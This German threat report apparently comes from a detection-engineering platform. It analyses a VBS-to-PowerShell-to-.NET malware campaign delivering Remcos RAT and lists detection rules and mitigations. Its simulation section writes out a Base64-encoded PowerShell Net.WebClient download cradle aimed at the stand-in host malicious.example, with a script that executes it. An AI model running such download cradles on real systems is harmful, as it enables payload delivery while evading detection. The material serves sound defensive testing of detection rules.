Verfolgung einer Multi-Vektor-Malware-Kampagne: Von VBS zu Offener Infrastruktur
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Der Bericht behandelt eine modulare, mehrstufige Malware-Kampagne, die mit einem durch Unicode verschleierten VBS-Loader beginnt, über einen dateilosen PowerShell-Loader in PNG-Dateien übergeht, um eine .NET-Assembly zu verbergen, die später im Speicher ausgeführt wird. Von dort aus kann die Kampagne mehrere Nutzlasten bereitstellen, einschließlich Remcos RAT, UAC-Umgehungs-DLLs und Python-basierte Werkzeuge. Der Bedrohungsakteur hostet das gesamte Toolkit in öffentlich zugänglichen Verzeichnissen unter einer einzigen .xyz-Domain und mehreren von Cloudflare unterstützten Subdomains, was schnelle Nutzlastwechsel und mehrere Lieferwege wie waffenfähige PDFs und bösartige Batch-Skripte ermöglicht.
Untersuchung
Das MDR SOC von LevelBlue entdeckte das initiale VBS-Artefakt über SentinelOne, stellte es unter Quarantäne und dekodierte das Skript zur Analyse. Ermittler fanden einen Base64-codierten PowerShell-Befehl, der PNG-Dateien herunterlud, die eingebettete .NET-Assemblys enthielten, welche dann direkt in den Speicher über Reflection geladen wurden. Eine umfassende Infrastrukturüberprüfung enthüllte offene Verzeichnisse, die nicht nur weitere VBS-Loader bereitstellten, sondern auch bösartige Batch-Dateien, ZIP-Archive und Python-Nutzlasten, die mit der gleichen Kampagne in Verbindung stehen.
Minderung
Empfohlene Verteidigungsmaßnahmen umfassen das Einschränken der Ausführung von Hochrisiko-Skripttypen wie .vbs und .bat von benutzerschreibbaren Pfaden, das strikte Kontrollieren der PowerShell-Nutzung und das Überwachen auf verdächtiges Laden von .NET in den Speicher. Verteidiger sollten auch .xyz-Domains blockieren und WebDAV-Verkehr, der über Internetverknüpfungsdateien missbraucht wird, genau inspizieren oder einschränken. Auf der Netzwerkebene kann das Filtern des Zugriffs auf die bekannte bösartige Infrastruktur helfen, die Kampagne frühzeitig zu stören.
Reaktion
Wenn diese Aktivität erkannt wird, isolieren Sie den betroffenen Endpunkt, blockieren Sie alle zugehörigen Domains und URLs und suchen Sie nach den relevanten VBS- und PowerShell-Artefakten. Ermittler sollten den Speicher nach der reflektierten .NET-Assembly durchsuchen und das System auf geplante Aufgaben oder Dateien prüfen, die aus den freigelegten Verzeichnissen erstellt wurden. Detektionsinhalte sollten aktualisiert werden, um das Staging von PNG-basierten Nutzlasten und alle verknüpften Batch- oder Python-Komponenten, die mit der Kampagne verbunden sind, zu identifizieren.
"graph TB %% Klassendefinitionen classDef action fill:#c2e0ff classDef technique fill:#ffdd99 classDef malware fill:#ff9999 classDef infrastructure fill:#d9ffcc %% Knoten node_vbs_file["<b>Malware</b> – <b>Name</b>: Bösartiges VBS<br/><b>Ort</b>: UsersPublicDownloadsName_File.vbs"] class node_vbs_file malware node_t1059_005["<b>Technik</b> – T1059.005 Befehl und Skriptinterpreter: Visual Basic<br/><b>Beschreibung</b>: VBS-Skript ausführen, um Befehle zu starten"] class node_t1059_005 technique node_t1027["<b>Technik</b> – T1027 Verschleierte Dateien oder Informationen<br/><b>Beschreibung</b>: Verwenden von Unicode- und Base64-Verschleierung"] class node_t1027 technique node_vbs_decode["<b>Aktion</b> – Base64 PowerShell-Befehl dekodieren"] class node_vbs_decode action node_t1059_001["<b>Technik</b> – T1059.001 PowerShell<br/><b>Beschreibung</b>: PowerShell-Befehle ausführen"] class node_t1059_001 technique node_tls12["<b>Aktion</b> – TLS1.2 für Netzwerkverbindungen erzwingen"] class node_tls12 action node_download_png["<b>Aktion</b> – PNG-Nutzlast von HTTP-URL herunterladen"] class node_download_png action node_t1071_001["<b>Technik</b> – T1071.001 Anwendungsprotokoll: Webprotokolle<br/><b>Beschreibung</b>: HTTP/HTTPS für den Transfer verwenden"] class node_t1071_001 technique node_t1659["<b>Technik</b> – T1659 Inhaltsinjektion<br/><b>Beschreibung</b>: Bösartige Inhalte in legitime Dateien injizieren"] class node_t1659 technique node_png_extraction["<b>Aktion</b> – Base64 .NET-Assembly aus PNG extrahieren"] class node_png_extraction action node_t1620["<b>Technik</b> – T1620 Reflektives Code Laden<br/><b>Beschreibung</b>: .NET-Assembly direkt im Speicher laden"] class node_t1620 technique node_loader["<b>Malware</b> – PhantomVAI .NET-Loader"] class node_loader malware node_fetch_payloads["<b>Aktion</b> – Zusätzliche Nutzlast-URLs abrufen"] class node_fetch_payloads action node_remcos_rat["<b>Malware</b> – Remcos Remote Access Trojaner"] class node_remcos_rat malware node_uac_bypass["<b>Technik</b> – T1548.002 Benutzerkontensteuerung umgehen<br/><b>Beschreibung</b>: Kontrollmechanismus zur Erhöhung umgehen"] class node_uac_bypass technique node_scheduled_task["<b>Technik</b> – T1053 Geplante Aufgabe/Job<br/><b>Beschreibung</b>: Geplante Aufgabe für Persistenz erstellen"] class node_scheduled_task technique node_secondary_stage["<b>Aktion</b> – Batch- und Python-Skripte bereitstellen"] class node_secondary_stage action node_process_injection["<b>Technik</b> – T1055 Prozessinjektion<br/><b>Beschreibung</b>: Nutzlasten in laufende Prozesse injizieren"] class node_process_injection technique node_download_further["<b>Aktion</b> – Zusätzliche Dateien aus Cloudflare-Verzeichnissen herunterladen"] class node_download_further action node_c2_communication["<b>Technik</b> – T1102.002 Web Service: Bidirektionale Kommunikation<br/><b>Beschreibung</b>: HTTPS C2-Verkehr unter Verwendung von Webdiensten"] class node_c2_communication technique node_open_directory["<b>Infrastruktur</b> – Offenes Verzeichnis-Hosting (news4me.xyz, Cloudflare)"] class node_open_directory infrastructure %% Verbindungen node_vbs_file –>|verwendet| node_t1059_005 node_vbs_file –>|verwendet| node_t1027 node_vbs_file –>|führt aus| node_vbs_decode node_vbs_decode –>|führt aus| node_t1059_001 node_vbs_decode –>|erzwingt| node_tls12 node_vbs_decode –>|lädt herunter| node_download_png node_download_png –>|verwendet| node_t1071_001 node_download_png –>|kann verwenden| node_t1659 node_download_png –>|enthält| node_png_extraction node_png_extraction –>|lädt über| node_t1620 node_t1620 –>|lädt| node_loader node_loader –>|ruft ab| node_fetch_payloads node_fetch_payloads –>|liefert| node_remcos_rat node_fetch_payloads –>|liefert| node_uac_bypass node_loader –>|erstellt| node_scheduled_task node_loader –>|erzeugt| node_secondary_stage node_secondary_stage –>|führt aus| node_process_injection node_secondary_stage –>|lädt herunter| node_download_further node_download_further –>|kommuniziert mit| node_c2_communication node_c2_communication –>|gehostet auf| node_open_directory "
Angriffsfluss
Erkennung
Verdächtige Trycloudflare-Domänenkommunikation (über DNS)
Ansehen
Mögliche Internet-Archiv-Auflösung durch ungewöhnlichen Prozess (über dns_query)
Ansehen
Verdächtige Powershell-Strings (über Powershell)
Ansehen
LOLBAS WScript / CScript (über Prozesserstellung)
Ansehen
Verdächtige Befehls-und-Kontroll-Kommunikation durch ungewöhnliche Top-Level-Domain (TLD) DNS-Anfrage (über DNS)
Ansehen
Aufruf von verdächtigen .NET-Methoden aus Powershell (über Powershell)
Ansehen
IOCs (HashSha1) zum Erkennen: Nachverfolgung einer Multi-Vektor-Malware-Kampagne: Von VBS zu offenen Infrastrukturen Teil 1
Ansehen
IOCs (HashSha1) zum Erkennen: Nachverfolgung einer Multi-Vektor-Malware-Kampagne: Von VBS zu offenen Infrastrukturen Teil 2
Ansehen
Erkennung eines Base64-codierten PowerShell-Befehls unter Verwendung von Net.WebClient [Windows Powershell]
Ansehen
PowerShell-Loader greift auf PNG- und TXT-URLs zu [Windows-Netzwerkverbindung]
Ansehen
Erkennung reflektiv geladener .NET-Ausführungsmethoden (VAI Loader) über VBS [Windows Prozesserstellung]
Ansehen
Simulationsausführung
Voraussetzung: Die Telemetrie- & Basis-Prüfung muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und das Narrativ MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffs-Narrativ & Befehle:
Ein Angreifer hat eine PowerShell-Einzeiler erhalten, der eine bösartige Nutzlast von einem entfernten HTTP-Server herunterlädt und ausführt. Um eine einfache Skriptdatei-Erkennung zu umgehen, ist der Befehl Base64-codiert und wird über
powershell.exe -EncodedCommand. Die Befehlszeile enthält daher die drei Zeichenfolgen, nach denen die Regel sucht: powershell, Base64, und Net.WebClient.-
Der Angreifer erstellt das PowerShell-Skript:
$wc = New-Object System.Net.WebClient; $wc.DownloadString('http://malicious.example/payload'); -
Das Skript ist UTF‑16LE-codiert und Base64-codiert.
-
Der Angreifer führt den kodierten Befehl über eine Windows-Befehlszeile (oder eine geplante Aufgabe) aus.
-
-
Regressionstestskript:
# -------------------------------------------------------------- # PowerShell-Skript zum Simulieren des Base64-codierten Net.WebClient-Downloads # -------------------------------------------------------------- # 1. Definieren Sie die bösartige PowerShell-Einzeiler $malicious = '$wc = New-Object System.Net.WebClient; $wc.DownloadString(''http://malicious.example/payload'');' # 2. Den Befehl in UTF‑16LE kodieren und dann Base64 $bytes = [System.Text.Encoding]::Unicode.GetBytes($malicious) $b64 = [Convert]::ToBase64String($bytes) # 3. Führen Sie den kodierten Befehl aus – diese Zeile erzeugt die Telemetrie # nach der die Sigma-Regel sucht (powershell + Base64 + Net.WebClient) powershell.exe -EncodedCommand $b64 -
Bereinigungskommandos:
# -------------------------------------------------------------- # Bereinigung – Beenden Sie alle verirrten PowerShell-Prozesse, die durch den Test gestartet wurden # -------------------------------------------------------------- Get-Process -Name powershell -ErrorAction SilentlyContinue | Where-Object { $_.StartInfo.Arguments -match 'malicious.example' } | Stop-Process -Force # Entfernen Sie alle temporären Dateien (in diesem Test wurden keine erstellt)
Ende des Berichts